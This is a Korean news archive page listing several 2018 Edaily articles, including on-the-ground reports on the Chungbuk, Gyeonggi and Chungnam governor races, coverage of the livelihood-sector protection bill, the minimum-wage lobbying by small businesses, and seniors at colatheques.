정해진 대출금과 차입금, 채권, 무역신용 등으로 구성된다.대외채권의 경우 중앙은행(78억달러)과 보험사 등 기타부문(76억달러)을 중심으로 증가했다. 대외채무는 일반정부와 예금취급기관의 부채성증권(각각 44억달러, 32억달러)이 주로 늘었다.한편 대외채권과 더불어 만기가 없는 주식 직접투자 등 금융자산까지 포함한 순대외금융자산은 전기 말 대비 282억달러 증가해 2765억달러를 기록했다. 1분기 만에 증가 전환한 것이다. 외채 증가는 외국인 투자자의 국내 채권투자 증가 및 은행부문의 차입 증가에 주로 기인한 것으로 분석된다.대외금융자산의 경우 전기 말 대비 416억달러 늘어나 1조4953억달러였고, 대외금융부채는 134억달러 증가해 1조2188억달러를 기록했다. 순대외자산국 지위는 지난 2014년 3분기말 이후 게속 유지하고 있다.기획재정부 관계자는 “미국 금리인상 가속화 가능성 등 국제금융시장의 불확실성이 상존하고 있다”면서 “대외채무 동향을 면밀히 점검하는 등 대외건전성을 안정적으로 유지해 나갈 계획”이라고 말했다.
2018.05.30 I 김정현 기자
대기업 진출 5년 제한…'생계형 적합업종' 법제화 '8부 능선'
  • 대기업 진출 5년 제한…'생계형 적합업종' 법제화 '8부 능선'
  • 21일 오후 열린 국회 산업통상자원중소벤처기업위원회 법률안 소위에서 손금주 위원장이 개회를 알리는 의사봉을 두드리고 있다. (사진=연합뉴스)[이데일리 김정유 기자] 소상공인·중소기업 보호를 위한 ‘생계형 적합업종 특별법’ 도입이 8부 능선을 넘었다. 순대·어묵 등 일부 업종에서 향후 5년간 대기업 진출을 제한하는 생계형 적합업종 특별법은 오는 28일 본회의를 통과하게 되면 법제화를 완료하게 된다. 그간 자율합의로 진행됐던 중소기업 적합업종이 결국 법제화되면서 앞으로 이에 대한 대·중견·중소기업간 논란도 커질 것으로 예상된다.23일 국회 산업통상중소벤처위원회에 따르면 생계형 적합업종 특별법은 지난 21일 법안소위에서 의결돼 오는 25일 법제사업위원회 통과를 앞두고 있다. 이어 오는 28일 예정된 국회 본회의에서 법안이 통과되면 생계형 적합업종은 법적 근거를 갖게 된다. 여야가 합의했고 본회의 통과 과정만 남아있는 상황이어서 사실상 생계형 적합업종 특별법 도입은 8부 능선을 넘은 셈이다. 지난해 1월 이훈 더불어민주당 의원 등이 발의한 지 약 1년4개월만이다. 이번에 상임위를 통과한 특별법은 소상공인 단체가 동반성장위원회에 생계형 적합업종 지정을 요구하면 중소벤처기업부 장관을 중심으로 한 심의위원회가 최종 심의해 지정하는 것이 골자다. 기존 중소기업 적합업종이 동반위를 중심으로 대·중소기업간 자율합의를 근간으로 했다면 생계형 적합업종은 중기부가 지정하고 법으로 강제하는 것이 특징이다. 생계형 적합업종 지정기간은 5년이다. 해당 업종에서는 5년간 대기업 진출 또는 사업 확장이 제한된다. 이를 위반할 경우 시정명령을 받게 되고 이를 지키지 않으면 매출액 5% 이내에서 이행강제금을 부과받게 된다. 현재까지 중소기업 적합업종으로 지정된 업종은 총 73개로 올해 47개가 기간 만료된다. 중소기업 적합업종 권고 기간은 총 6년(3+3년)으로 지난해 만료됐지만 생계형 적합업종 법제화 시행 전까지 기간이 한시적으로 연장된 상태다. 대·중견기업계에선 반발이 심할 것으로 예상된다. 자율합의로 진행해 왔던 적합업종을 법제화하는 것은 사실상 12년 전 폐지된 ‘중소기업 고유업종’을 부활시키는 것과 다름없다는 목소리다. 익명을 요구한 한 중견기업계 관계자는 “지금까지도 동반위가 추진하고 있는 상생협약 등으로 소상공인·중소기업들과 상생에 잘 나서왔는데 이제 법으로 강제한다는 건 지금까지의 노력이 헛수고가 됐다는 것 아니냐”며 “외국기업 역차별, 중견기업의 전문성을 해치는 적합업종의 법제화는 사실상 산업계 후퇴를 불러올 것”이라고 우려했다.
2018.05.23 I 김정유 기자
“세대교체유? 아직 어림없슈”… 3선 굳어지는 충북지사 판세
  • [르포]“세대교체유? 아직 어림없슈”… 3선 굳어지는 충북지사 판세
  • 6·13 지방선거가 한달여 앞으로 다가온 가운데 충북지사 선거 판세에 대한 관심이 커지고 있다. 충북 청주시 육거리 종합시장 입구.(사진=김기덕 기자)[충북(청주)=이데일리 김기덕 기자] “야당 후보유? 누구 나오는지 이름도 몰러유.” 10일 충북 청주시 흥덕구 오송읍 일대 KTX오송역. 취재를 위해 택시를 잡고 인근에서 가장 규모가 큰 전통시장으로 가달라는 말에 택시기사 김각연(59)씨는 인근 육거리 종합시장으로 내달렸다. 충북지사 야당 후보에 대한 지역 내 평판을 묻자 기사는 인상을 찌푸리며 “관심없다”며 후보 이름을 되물었다. 이 질문에 유독 잔뜩 인상을 찌푸린 것이 때이른 여름날씨로 인해 내리쬐는 따가운 햇살 탓인지 보수야당에 대한 단순한 불신감 때문인지는 묻지 않았다. “그 야당이 말이여, 좀 더 건실하게 일하고 견제 역할만 제대로 했어도 이 지경까지는 아닐턴디.. 크게 믿을 놈(뽑을 사람)도 없지만서두, 이미 판세는 많이 기울어졌다고 봐야쥬.” 낮에는 오송역 인근에서, 밤에는 청주시 시내에서 15년째 택시를 몰며 주로 공무원과 회사원들을 상대한다는 그의 말이 충북 바닥민심을 대변하는 듯 했다.다만 충북 인구 160만여명 중 절반 가까운 유권자는 전통적으로 ‘스윙보터(Swing Voter)’로 불리는 부동층이 많다는 점은 이번 선거의 최대 변수로 꼽힌다. 노인인구 비율이 16%에 달할 정도로 많아 고령사회로 진입한데다 구도심을 중심으로 콘크리트 보수층의 결집할 수 있다는 점도 충북 지사 선거의 관전포인트다. ◇“스스로 무덤 팠다”… 자가당착 빠진 한국당충북 지역 바닥민심을 취재한 결과 본 기자가 만난 열명 중 일곱 내지 여덟명은 충북지사 선거에서 더불어민주당 소속 이시종 충북지사를 지지했다. 현직 지사 프리미엄을 등에 업고 있는데다 최근 남북화해무드에 따른 집권여당에 대한 우호적인 분위기가 반영된 영향이 크다. 청주시 상당구에 있는 육거리 종합시장에서 30년째 순대국밥을 팔고 있는 60대 이강자(가명)씨는 “이 지사가 몇번 시장을 다녀간 적이 있는디 사람이 소탈한게 참 무난하제”라며, “그동안 경기가 나아진 건 잘 모르겠는디 그렇다고 큰 어려움도 없슈. 여기 시장에 들어올려면 권리금은 최소 1억원 줘야혀”라고 귀뜸했다. 최근 각종 여론조사 결과도 이런 민심을 대변한다. 충청매일이 여론조사기관인 리얼미터에 의뢰해 지난 3월 22~23일 진행한 여야 충북지사 후보 적합도 조사 결과 이 지사는 33.6%의 지지율로 경쟁 후보인 박경국 자유한국당 후보(14.0%), 신용한 바른미래당 후보(7.0%)를 월등히 앞섰다. 이번 여론조사 응답률은 3.0%, 표본오차 95% 신뢰수준에서 ±3.1%p다.(자세한 내용은 중앙선거여론조사심의위원회 홈페이지참조)특히 젊은층인 30~40대 유권자의 여당 지지율은 절대적이다. 7년째 방안갓을 운영하는 이상인(가명·35)씨는 “남북정상회담을 위장 평화쇼라고 우기는 야당을 보니 기가 찼다. 스스로 제 무덤 판거 아니고 뭐냐”고 반문하며, “주변 친구들을 만나면 시의원이나 구청장 후보 이름을 모르지만, 사람 볼거 없이 여당을 찍는다고 한다”고 말했다. 이 지사의 굵직한 공적도 지지율을 끌어올리는데 한몫 했다. 청주시청 인근에서 만난 40대 회사원 김모씨는 “원래 SK하이닉스 공장이 베트남 갈 것을 이 지사가 청주시로 끌어들이며 지역경제를 살리는데 큰 역할을 했다”며 “제조업체 증가율이나 실질 경제성장률 등이 전국에서 가장 높다는데 이 것도 이 지사가 잘하고 있다는 증거 아니겠냐”고 말했다. 6·13 지방선거가 한달여 앞으로 다가온 가운데 충북지사 선거 판세에 대한 관심이 커지고 있다. 사진은 충북 청주시 육거리 종합시장 모습.(사진=김기덕 기자)◇3선 피로도·중도보수층 흡수 관건 이 지사는 선거의 달인이다. 그는 1995년 충주시장에 당선된 뒤 내리 3선하는데 성공했다. 3선 임기 중 하차, 충북 충주시에서 17·18대 국회의원도 지냈다. 지난 2010년 지방선거에서는 당시 지사였던 한나라당 정우택 후보를 꺾은 뒤 2014년 재선에 성공하면서 7번의 선거를 모두 이겼다. 하지만 이런 점이 본인의 장점이자 최대 아킬레스건으로 작용할 수 있다는 지적도 나온다. 이미 충주시장에 국회의원, 도지사까지 지내 피로감이 상당한 상황에서 야당이 ‘세대 교체론’을 내세우고 있어서다. 이미 70대 중반인 이 지사에 비해 상대적으로 젊은 피인 박경국(61세), 신용한(50세) 후보가 부각될 경우 정권 견제심리가 강한 충북 민심이 흔들릴 수도 있다는 설명이다. 시장 노상에서 야채를 파는 강경순(가명·77)씨는 “뭔 선거 결과를 물어, 소신껏 하는거지”라며 인터뷰 요청에 손사래를 치면서도, “(민주당 지지하는)요새 젊은 놈들이 뭘 안다고 지랄이여. 이시종도 2번이나 해 쳐먹음 됐지, 이제 지겹다”라며 목소리를 높였다. 충북 지역에 중도보수층이 많다는 점도 이번 선거에서 변수로 작용할 수 있는 부분이다. 실제 민선 1기부터 2014년 민선 6기까지 충북에서는 단 한 번도 진보당 출신의 도지사가 배출된 적이 없다. 김영삼 정부 시절부터 김대중, 노무현 정부를 거치면서 지방선거를 치른 15년(1995년~2010년) 동안 단 한 번도 진보정당 후보가 승리한 적이 없는 것이다. 이명박 정부·박근혜 정부 때인 제5·6회 지방선거에서야 비로소 민주당 이시종 후보가 당선증을 거머쥐었다. 퇴직 후 시장에 조그마한 철물점을 차린 김상득(66)씨는 “(민주당에 우호적인) 분위기가 분위기인지라 보수층이 선거에 대해 일절 입을 닫고 있다”며 “아직 선거기간도 많이 남아있는데다 충북 지역은 나이든 사람과 구도심이 상당히 많아 실제 뚜껑을 열어보기 전에 결과는 모른다”고 말했다.
2018.05.12 I 김기덕 기자
`정치적 고향` 찾은 남경필 "지금까지 보다 더 잘하겠다"
  • [르포]`정치적 고향` 찾은 남경필 "지금까지 보다 더 잘하겠다"
  • 남경필 자유한국당 경기지사 예비후보가 10일 오전 경기 수원시 장안구 자신의 선거사무소에서 일자리분야 공약을 발표하고 있다. (사진=남경필 후보 선거캠프)[경기(수원)=이데일리 유현욱 기자] “수원에서는 누가 뭐래도 남경필이를 밀어줘야지 않겠습니까” “성남이 빚도 다 갚고 돈도 팍팍 나온다니 이재명이가 낫지 않겠습니까”10일 오후 경기 수원시 팔달구 팔달문로 지동시장. 남경필 자유한국당 경기지사 예비후보는 당명과 로고가 없는 빨간색 점퍼 차림으로 나타났다. 남 후보는 차에서 내리자마자 최성희(59·여)씨와 크게 악수를 했다. 최씨는 “후보님이 오신다기에 새 장갑을 끼고 기다리고 있었다”고 알은체했다. 최씨 말고도 지동시장 상인들은 남 후보를 반가워하는 기색이 역력했다.남 후보는 지난 2014년에도 자신의 지역구였던 이곳에서 경기지사 출마선언을 한 바 있다. 남 후보는 내리 5선을 한 전직 국회의원이다.남 후보는 전날 경기도 선관위에 예비후보 등록한 후 한국당 경기도당 선대위 발대식 참석을 시작으로 본격적인 선거전에 돌입했다. 경기지사 재선에 도전하는 남 후보는 출마선언 이튿날인 이날은 첫 민생 행보로 수원 성곽을 배경으로 형성된 100년 전통의 상설시장인 지동시장을 찾았다.이곳은 순대와 정육·농수산물·떡 등 다양한 전통 식품을 주로 취급한다. 특히 지동순대타운은 서울 신림동순대타운, 안양 중앙시장순대타운과 함께 전국 3대 순대 골목으로 손꼽힌다. 지동시장 인근에서 40년 넘게 떡방앗간을 하는 안병옥(66·여)씨도 “이재명은 가식적이라 싫더라. 남경필이 수원에서 나고 자랐으니 정이 가더라”고 말했다.지동시장 앞에 카트를 세운 야쿠르트 아줌마는 “성남의 문제를 잘 풀어낸 이재명 시장에게 도정을 한번 맡겨보고 싶다”면서도 “이곳 주민들은 남경필이 대선까지 쭉쭉 올라갔으면 하는 바람이 있는 눈치다”라고 전했다.4년 임기 동안 검증된 경제도지사를 자처한 남 후보는 “소상공인의 든든한 파트너가 되겠다”며 지지를 호소했다. 남 후보는 이날 상인교육관에서 가진 상인회장단과의 간담회에서 “지동시장 역시 서울의 광장시장처럼 거듭날 수 있다”며 “재선된다면 지금까지 한 것보다 더 잘 하겠다”고 역설했다.최극렬 수원시 상인연합회장 겸 지동시장 상인회장을 비롯해 상인회장단이 상권 내 주차 문제 해소 등을 남 후보에 요청하자 남 후보는 “국회 홍보를 목적으로 경내를 순환하는 전기차를 이곳에도 도입해보라”며 깜짝 제안하기도 했다.상인들 말마따나 수원을 중심으로 한 남부내륙권은 남 후보에게는 상대적으로 해볼 만한 권역이다. CBS가 리얼미터에 의뢰해 지난 4~5일 경기에 거주하는 19세 이상 성인 803명을 대상으로 이틀간 진행한 차기 경기지사 지지도 조사에서 남 후보는 26%로 이재명(59.4%) 후보에 크게 뒤진 것으로 나타났다. 다만 수원·용인·성남·광주·하남·이천·여주 등 남부내륙권에서 32.7%의 지지를 얻은 점은 고무적이다. 남서해안권, 남부외곽권, 북부내륙권, 북서해안권 등을 통틀어 30%대가 넘는 지지율을 기록한 곳은 남부대륙권이 유일하다. 지난달 기준 경기도 총 인구수는 1294만명이다. 남부내륙권은 409만명으로 전체 경기 인구 31%에 달하는 표밭이다.남 후보 측은 “‘홈 그라운드’와도 같은 수원에서 확인한 한국당에 대한 여전한 경기도민의 사랑을 공고히하며 상대적으로 열세인 지역을 공략하겠다”고 앞으로 선거 전략을 소개했다.한편 남 후보는 이날 기자와 만나 맞대결을 펼치는 이재명 더불어민주당 경기지사 후보의 지역 화폐 공약과 관련한 질문에 “검토 결과 긍정적인 면이 있다면 경기도에도 도입할 수 있을 것”이라며 포용적인 태도를 드러냈다.
2018.05.11 I 유현욱 기자
‘안희정 상처’ 아물지 않은 충남…"그랴도 대통령 있는 당이 낫지 않것슈?"
  • [르포]‘안희정 상처’ 아물지 않은 충남…"그랴도 대통령 있는 당이 낫지 않것슈?"
  • 6·13 지방선거 충남 지사 선거를 50일 앞두고 지역 바닥민심이 술렁이고 있다. 천안시 남동구 남산중앙시장에 장을 보러 온 사람들의 모습.(사진=김기덕 기자)[충남=이데일리 김기덕 기자] “이인제 할배가 와 봐유 되나…여직 믿을만한 넘이 없긴 한데 그랴도 대통령이 있는 당에서 도 지사가 나와야 하지 않것슈.” 지난 25일 충남 아산시 배방읍 KTX 천안아산역 앞에서 택시를 타고 인근 남산중앙시장으로 가는 도중에 충남지사 선거 판세를 묻자 택시기사 김철영(54)씨는 다소 격앙된 어조로 이같이 내뱉었다.6·13 지방선거가 50일도 남지 않은 시점에 충청권 민심이 크게 술렁이고 있었다. 당초 충청도 내에서도 충남지사 선거는 ‘민주당 경선 승리 후보=본선 당선자’라는 말이 나올 정도로 여당의 승리가 우세한 곳으로 점쳐졌다. 그러나 변수가 생겼다. 충청대망론의 주역이자 ‘충남의 아들’로 불렸던 안희정 전 지사에 이어 차기 지사 유력 후보였던 박수현 전 청와대 대변인이 미투와 불륜 의혹으로 물러나면서 지역 바닥민심이 크게 요동치고 있다. 여기에 불법 정치자금 수수 의혹으로 천안시장이 공석이 된데다 공직선거법 위반, 지방선거 출마 여파로 천안 지역 두 곳에서나 국회의원 재·보궐선거를 치뤄야 해 여야의 셈법도 복잡해졌다. ◇“먹고 살기도 힘든디… 대통령 당이 낫지 않것슈”반전의 기회를 잡은 제1야당인 자유한국당에서는 ‘백전 노장’ 이인제 상임고문을 공격수로 내세워 충남지사로 밀고 있다. 하지만 ‘올드보이 철새 정치인’이라는 지역 민심에 부딪혀 아직 지역 민심을 많이 되돌리지는 못한 모습이다. 집권 여당인 더불어민주당에서는 천안 지역 4선 의원인 양승조 후보가 출마했다. 천안 동남구 남산중앙시장에서 20년 넘게 순대국밥을 팔고 있는 한명례(61)씨는 “어제도 이인제씨가 시장에 방문해 계속 악수를 권해서 인사를 하긴 했는데, 뭐 결과는 뚜껑을 알아봐야 알 지 않것슈”라며 결과를 잘 모르겠다고 손사래를 치면서도, “시방 필요에 따라 당을 바꾸는 철새는 안 되유, 60대 이상 내 친구들도 그랴도 양승조를 지지하는 사람이 아직 많제”라고 귀뜸했다. 실제 이 고문은 그동안 11번이나 선거(대통령선거 본선 2번 포함)에 나선 ‘정치 베테랑’이다. 그동안 6선 국회의원, 경기지사, 노동부 장관 등을 역임하면서 ‘피닉제(불사조를 의미하는 피닉스와 이인제의 합성어)’라는 별명을 얻기도 했지만, 그동안 당적을 수없이 바꿨다는 점에서 철새 정치인이라는 평가도 동시에 받고 있다. 6·13 지방선거 충남 지사 선거를 50일 앞두고 지역 바닥민심이 술렁이고 있다. 천안시 남동구 남산중앙시장에 장을 보러 온 사람들의 모습.(사진=김기덕 기자)오히려 지역 상인들은 당적을 떠나 침체된 경기 살리는데 일조할 수 있는 일꾼이 필요하다고 입을 모았다. 중앙시장에서 10년째 통닭집을 운영하고 있는 40대 김일중씨는 “여기(남산중앙시장)가 서울 남대문시장이라고 치면, 인근에 있는 천안 명동거리는 서울의 명동이라고 불릴 정도로 사람이 붐비고 장사도 잘 됐는데 이제 다 죽었다”고 고개를 절레절레 흔들며, “여그 근방에 가게 하나만 차리면 2대가 먹고 산다는 것도 옛날 얘기”라며 안타까워했다. 아직 확실하게 지지 후보를 결정하지 못한 표심은 그나마 여당쪽으로 기우는 모양새다. 지난해 유력한 차기 대권 주자로 꼽혔던 반기문 전 유엔 사무총장과 안희정 전 충남지사의 향수를 잊지 못한 영향도 커 보인다. 정오경 무렵 천안 동남구 신부동 인근에서 점심식사를 가던 회사원 김모(50)씨는 “그래도 우리 세대에서는 친구들끼리 만나면 만날 말로만 떠들지만 말고 충청도 출신 대통령이 한번은 나와야 하지 않겠냐고 얘기한다”며 “이미 대권은 물건너 간 상황이 됐으니 그나마 정부와 소통하기도 쉽고 지역 살리기 정책에 힘을 받을 수 있는 민주당 후보가 낫지 않겠나 싶다”고 말했다. 6·13 지방선거 충남지사 후보로 나선 양승조 더불어민주당 의원(왼쪽)과 이인제 자유한국당 상임고문.(사진=연합뉴스)◇“부동층 민심 잡아라”… 뚜껑 열어봐야 알 듯 다만 충남지역 선거 결과는 아직 예단할 수 없다. 충남지역은 전통적으로 구도심을 중심으로 보수세가 강한 지역인데다 부동층이 절반에 가까울 정도로 많고 막판까지 표심을 드러나지 않은 지역이기 때문이다. 실제 충청권은 그동안 전국단위의 선거를 치를 때마다 캐스팅보트 역할을 하기도 했다. 지난 1997년 고(故) 김대중 전 대통령과 이회창 전 한나라당 총재가 맞붙었던 제15대 대선에서는 약 39만표 차이로 당락이 결정됐는데, 이 중 충청권 표가 약 27.7%로 10만표를 넘었다. 2002년 고(故) 노무현 전 대통령도 약 57만표란 박빙의 차이로 당선됐는데 이 표 중 약 50% 정도가 충청권에서 나왔다. 각각 DJP(김대중·김종필) 연합과 ‘세종시 공약’이 유효하게 작용했다. 다만 2012년 박근혜 전 대통령 당선에 기여한 약 100만 표 중 30% 정도가 충청표였다. 이처럼 충청권은 치열한 여야 대결 국면에서 실용적인 성향을 보여왔다. 다만 충남 15개 시군중에서 보령·논산·계룡시를 비롯해 금산·홍성·예산군 등 절반이 넘는 지역은 여전히 보수색이 강한 편이다. 충남 예산군에서 70년 넘게 살다가 지난해 천안으로 이사 온 이용후(73)씨는 “시방 젊은 사람들이 아무리 진보정당을 지지해도 우리는 다르제, 정치판에서는 보수고 진보고 간에 무조건 힘있는 사람을 지지해야지, 젊은 사람들이 뭘 알것슈”라며 “기자 양반, 그래도 그동안 경력을 보면 이인제가 낫지 않겠냐”고 반문했다. 충남지역을 강타한 연이은 불미스러운 뉴스로 젊은 층은 선거에 다소 무감각한 모습을 보였다. 번화가인 신부동 고속버스터미널 인근 휴대폰 가게 아르바이트를 하는 23세 안모씨는 “야당에서 이인제 후보가 나오는 얘기도 첨 들었다”며 “(누가 되던 간에) 당장 생활이 바뀌는 것도 아니고 선거할 때만 립서비스를 하는 거라 별 관심없다”고 말했다. 한편 지난 13~14일 중앙일보 여론조사팀에서 진행한 충남지사 여론조사에 따르면 양승조 민주당 후보는 42.4%로 23.4%를 얻은 이인제 한국당 후보를 19%포인트 앞서고 있다.(표본오차는 95% 신뢰수준에 ±3.5%포인트, 자세한 사항은 중앙선거여론조사심의위원회 홈페이지 참조)천안의 번화가로 꼽히는 동남구 신부동 가게 밀집 골목 사이로 사람들이 오가고 있다.(사진=김기덕기자)
2018.04.26 I 김기덕 기자
"최저임금 개선" 박성택 중기중앙회장, 정의당 방문한 이유는?
  • "최저임금 개선" 박성택 중기중앙회장, 정의당 방문한 이유는?
  • 중기중앙회 제공.[이데일리 정태선 기자] 중소기업중앙회는 10일 정의당을 찾아 노회찬 원내대표와 추혜선 중소상공인위원장을 만나 최근 중소기업의 가장 큰 현안인 ‘최저임금 제도개선’과 ‘생계형 적합업종 법제화’를 요청했다. 이번 방문은 지난주 3당(더불어민주당, 자유한국당, 바른미래당) 원내대표 방문에 이어 진행된 것이다. 박성택 중소기업중앙회장은 내년도 최저임금 심의 전에 제도개선이 필요한 점과 올해 6월말 적합업종 중 47개 품목이 지정기간 만료되는 점 등을 고려해 중소기업·소상공인의 목소리를 전달했다. 이 자리에서 박성택 회장은 “해외 사례와 비교해보아도 우리나라 최저임금 산입범위가 너무 협소하며, 인력난으로 어쩔수 없이 외국인력을 고용하는 기업에서는 내외국인의 임금역전현상이 일반화 되는 추세”라며 “매월 정기적·일률적으로 지급하는 급여는 실질을 보아 최저임금에 포함되어야 한다”고 말했다. 또 “6월말 어묵, 장류, 순대 등 47개 적합업종의 지정기간 만료를 앞두고 소상공인의 걱정이 매우 크다”며 “4월 임시국회에서 여·야합의로 반드시 ‘생계형 적합업종 법제화’를 이뤄주시길 요청드린다”고 강조했다.중기중앙회 제공.
2018.04.11 I 정태선 기자
효성 안양공장 명물된 ‘진달래동산’…주민에 주말 개방
  • 효성 안양공장 명물된 ‘진달래동산’…주민에 주말 개방
  • 효성 안양공장의 명물 ‘진달래 동산’ 전경(사진=효성).[이데일리 김미경 기자] 효성이 안양공장을 개방하고 진달래축제에 지역 주민을 초대한다.효성은 7일부터 이틀 간 경기도 안양시 동안구에 위치한 안양공장 진달래동산과 운동장을 지역 주민들에게 개방하고 진달래 축제를 연다고 6일 밝혔다.효성 진달래 축제는 진달래 만개에 즈음해 매년 봄 1만여명의 시민들이 다녀가는 안양의 소문난 명소다. 꽃구경뿐 아니라 진달래 화전·떡볶이·순대 등의 먹을거리와 캘리그라피 체험, 페이스 페인팅, 금연치료, 건강상담 등 다양한 행사를 준비한다.이날 축제에는 효성과 협업하는 사회적기업 ‘굿윌스토어’에서 근무하는 장애인 근로자와 효성 나눔봉사단원들이 직접 나와 기증품도 판매한다. 축제 참가 희망자는 오전 10시부터 오후 5시까지 효성 안양공장(안양시 동안구 시민대로 74) 정문과 후문으로 입장이 가능하다.효성 관계자는 “올해로 39회째를 맞는 효성 진달래 축제는 옛 동양나이론 당시 안양공장 임직원들이 친구와 가족들을 진달래동산에 초대한 것으로 시작됐다”며 “70년대 후반부터 해마다 시민들에게 개방하고 있다”고 말했다. 한편 효성 안양공장은 1965년 공장을 준공한 이래 안양시 대표 사업장으로 자동차 및 상업용 카페트를 생산하고 있다. 효성기술원, 중공업연구소, 효성인력개발원이 위치해 있다.
2018.04.06 I 김미경 기자
중소기업계, 국회 3당 원내대표에 최저임금제 개선 요구
  • 중소기업계, 국회 3당 원내대표에 최저임금제 개선 요구
  • 4일 서울 여의도 국회를 찾은 박성택 중소기업중앙회장(왼쪽 세번째) 등 중소기업계 인사들과 우원식 더불어민주당 원내대표(두번째)가 사진촬영을 하고 있다. 중기중앙회 제공[이데일리 정태선 기자] 중소기업중앙회는 4일 우원식 더불어민주당 원내대표, 김성태 자유한국당 원내대표를 만나 최근 중소기업의 가장 큰 현안인 △최저임금 제도개선과 △생계형 적합업종 법제화를 요청했다. 이번 방문은 내년도 최저임금 심의 전에 제도개선이 필요하다는 점, 6월 말 생계형 적합업종 중 47개 업종의 지정기간이 종료되는 점 등을 고려하여 중소기업 및 소상공인의 목소리를 전달하고자 이루어졌다. 박성택 회장은 “해외 사례와 비교했을 때 우리나라 최저임금 산입범위가 너무 협소하고, 인력난으로 어쩔수 없이 외국인력을 고용하는 기업은 내외국인간의 임금역전현상이 일반화 되는 추세”라며 “매월 정기적·일률적으로 지급하는 급여지만 최저임금 산입범위에서 제외되고 있는 상여금과 숙식비·교통비 등 복리후생비는 최저임금에 반드시 포함되어야 한다”고 말했다. 박 회장은 이어 “6월 말 어묵, 장류, 순대 등 47개 업종의 적합업종 지정 만료를 앞두고 소상공인의 걱정이 매우 크다”면서 4월 임시국회에서 여야합의로 생계형 적합업종을 법제화 해주실 것을 요청드린다“고 당부했다. 한편 중소기업중앙회는 5일 김동철 바른미래당 원내대표도 방문해 관련 내용을 건의할 예정이다.
2018.04.04 I 정태선 기자
'만원의 행복' 콜라텍…인천서 동대문까지 원정도 불사
  • '만원의 행복' 콜라텍…인천서 동대문까지 원정도 불사
  • 28일 오후 3시쯤 서울 동대문구의 한 성인콜라텍에서 노인들이 트로트음악에 맞춰 춤을 추고 있다.(사진=이윤화 기자)[이데일리 이슬기 이윤화 기자] “여긴 자식한테 용돈 받고 사는 노인네가 남의 눈치 안 보고 시간 보낼 수 있는 곳이야.”이틀에 한 번 꼴로 서울 동대문구의 한 성인콜라텍을 찾는다는 황모(82)씨. 경기 동두천시에 거주하는 황씨는 한 시간 가량 지하철을 타고 콜라텍에 출근한다. 황씨는 “1호선 끝자락에 살지만 청량리까진 전철 한 번이면 오고 갈 수 있어 오는 데 불편하지 않다”며 “지하철비가 무료니 안 돌아다니면 오히려 손해”라고 했다.◇노인들의 ‘홍대 클럽’? 동대문 콜라텍 하루 손님만 1000명청량리역 2번 출구엔 매일 오후 1시쯤이면 한껏 멋을 낸 노년의 신사숙녀들이 모여든다. 그들의 발걸음이 향하는 곳은 청량리역 인근 빌딩 지하 2층에 위치한 1400평 규모의 A 콜라텍과 B 콜라텍이다. 28일 오후 A 콜라텍에 들어서니 대형 스피커에서 흘러나오는 트로트 메들리가 귓전을 울리고 천장에는 화려한 싸이키 조명이 쉴새 없이 돌아가고 있었다. ‘디스코’, ‘일자’, ‘리듬짝’, ‘난스텝’ 이라고 쓰인 각 라인 별로 머리가 희끗희끗한 남녀 100여명이 짝을 어울려 흥겹게 스텝을 밟고 있었다.일주일에 네 번은 동대문구의 콜라텍을 찾는다는 김모(72·여)씨는 “6년 전 남편과 사별한 뒤 외로운 시간을 보내다 동네 지인 권유로 와본 이곳에서 처음 춤추는 재미를 알게됐다”며 “처음에는 자식들한테 콜라텍에 놀러간다고 말하기가 꺼려졌는데 좀 다니다보니 친구들도 많이 생겼고 그 친구들이랑 근처 사교댄스 학원에 춤도 배우러 간다”며 콜라텍 예찬론을 폈다.A 콜라텍에서 1년째 매점을 운영하고 있는 이모(50·여)씨는 “많이 올 때는 하루에 1천 명도 넘게 온다”며 “멀리서 오는 분은 부천이나 인천에서도 온다. 어차피 대중교통은 무료고 아침 일찍부터 할 일도 없으니까 친구들 만나러 오는 것”이라고 귀띔했다.B 콜라텍을 운영하고 있는 김모(61)씨는 “평일에는 하루 평균 700~800명씩 오고 주말엔 1000명 넘게도 온다”며 “콜라텍이 예전처럼 춤바람 나서 다니는 그런 이미지가 아니라 싼값에 갈 곳 없는 노인들이 시간 보내는 여가 공간으로 인식이 많이 바뀌어 가고 있다”고 전했다.28일 오후 4시쯤 서울 동대문구의 한 성인콜라텍에서 노인들이 장기를 두고 있다. 장기를 두기 위해서는 콜라텍 입장료와 별도로 1000원을 더 내야 한다.(사진=이윤화 기자)◇입장료 2000원·소주 1000원…‘만원의 행복’ 찾는 노인들이처럼 콜라텍이 실버세대의 놀이터로 발전할 수 있던 이유는 잘 갖춰진 놀이·편의시설을 저렴한 가격에 한 곳에서 이용할 수 있기 때문이다. 콜라텍 내부에는 식당부터 바둑장, 안마실까지 다양한 편의시설들 들어서 있다. 입장료는 2000원 가량에 소주 및 순대 등 술안주는 각각 1000원에 불과하다. 6000원짜리 점심 뷔페를 운영하는 콜라텍도 있다. 춤을 추는 게 지겨워질 때면 1000원을 내고 다른 손님들과 장기와 바둑을 둘 수 있다.배모(78)씨는 “늙은이들이들이 단돈 1만원으로 하루 종일 있어도 반겨주는 곳이 솔직히 몇 곳이나 되냐”며 “이곳에서는 나이도 사연도 비슷한 사람들이 모여서 1000원 짜리 소주 기울이기에 안성맞춤”이라고 말했다. 그러면서 “우리는 값싼 가격에 큰 행복을 찾아 온 것이라서 남의 눈치 안보고 놀 수 있을 때 부지런히 놀 것”이라고 덧붙였다.흰색구두에 잘 다려진 셔츠를 입은 김모(83)씨는 “젊은이들 가는 클럽 못지 않은 분위기인데 입장료가 5분의 1인 셈이니 부럽지 않냐”고 되물었다. 그는 “1000원짜리 차 4잔을 시켜놓고 친구들과 한동안 떠들다가 또 스텝을 밟으러 나갈 것이고 그러다 힘들면 1층 식당으로 올라가서 두부 안주하나 시켜놓고 막걸리로 목을 축일 것”이라며 웃었다. .
2018.03.31 I 이슬기 기자

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